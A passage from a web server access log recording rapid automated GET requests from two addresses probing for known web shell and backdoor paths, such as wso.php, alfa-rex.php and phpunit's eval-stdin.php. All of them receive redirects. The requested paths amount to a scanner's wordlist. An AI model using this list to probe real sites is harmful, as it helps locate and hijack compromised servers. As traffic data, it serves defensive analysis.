/uploads/abstract_login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:22:40 -0400] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /.well-known/b.png.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /wp-admin/maint/bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /wp-content/uploads/etipat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:40 -0400] "GET /post-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /wp-content/upgrade/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /wp-admin/includes/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:40 -0400] "GET /wp-includes/widgets/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:41 -0400] "GET /privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /wp-admin/css/colors/blue/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /wp-admin/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /indosec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:41 -0400] "GET /site-health.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /wp-admin/css/colors/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /wp-admin/images/Mhbgf.php/xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:41 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /wp-content/languages/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /wp-admin/css/colors/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /gali.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:41 -0400] "GET /user-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /images/addphoto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /wp-admin/css/f.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:22:41 -0400] "GET /wp-by-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /wp-admin/images/cux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /wp-admin/includes/archiveo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /wp-admin/css/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:41 -0400] "GET /bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /cache/i/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:22:41 -0400] "GET /wp-includes/Text/Diff/Engine.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /wp-includes/images/crystal/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /wp-admin/includes/functionsf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /images/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /yrlgvupk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:42 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /dirs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /wp-admin/maint/footerm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /wp-admin/includes/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:22:42 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /wp-includes/PHPailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /abouts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /wp-includes/PHPMailer/puran.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /wp-includes/bangu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /wp-admin/maint/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:42 -0400] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /upload/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /malls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /wp-admin/images/wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /files/m3u2nml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /wp-admin/maint/singlee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:22:42 -0400] "GET /km.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /liefs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /wp-admin/css/colors/coffee/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /wp-includes/ID3/vp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /wp-admin/css/pageb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:42 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /uc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /files/ban.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:42 -0400] "GET /wp-admin/maint/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:43 -0400] "GET /wp-admin/css/colors/blue/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:43 -0400] "GET /ova-wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:43 -0400] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:43 -0400] "GET /locks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:43 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:43 -0400] "GET /wp-content/languages/factory_wpdialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:43 -0400] "GET /wp-admin/js/widgets/105.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:43 -0400] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:43 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:43 -0400] "GET /wp-dsdd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:43 -0400] "GET /wp-ldd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:43 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:43 -0400] "GET /wp-admin/maint/qugpVj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:43 -0400] "GET /wp-admin/js/sidebarv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:43 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:43 -0400] "GET /sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:43 -0400] "GET /form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:43 -0400] "GET /wordpress/logsxxyyzz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:43 -0400] "GET /wp-includes/Text/dashboard.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:43 -0400] "GET /wp-admin/css/colors/ectoplasm/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:43 -0400] "GET /uploads/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:43 -0400] "GET /wp-admin/images/Mhbgf.php/wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 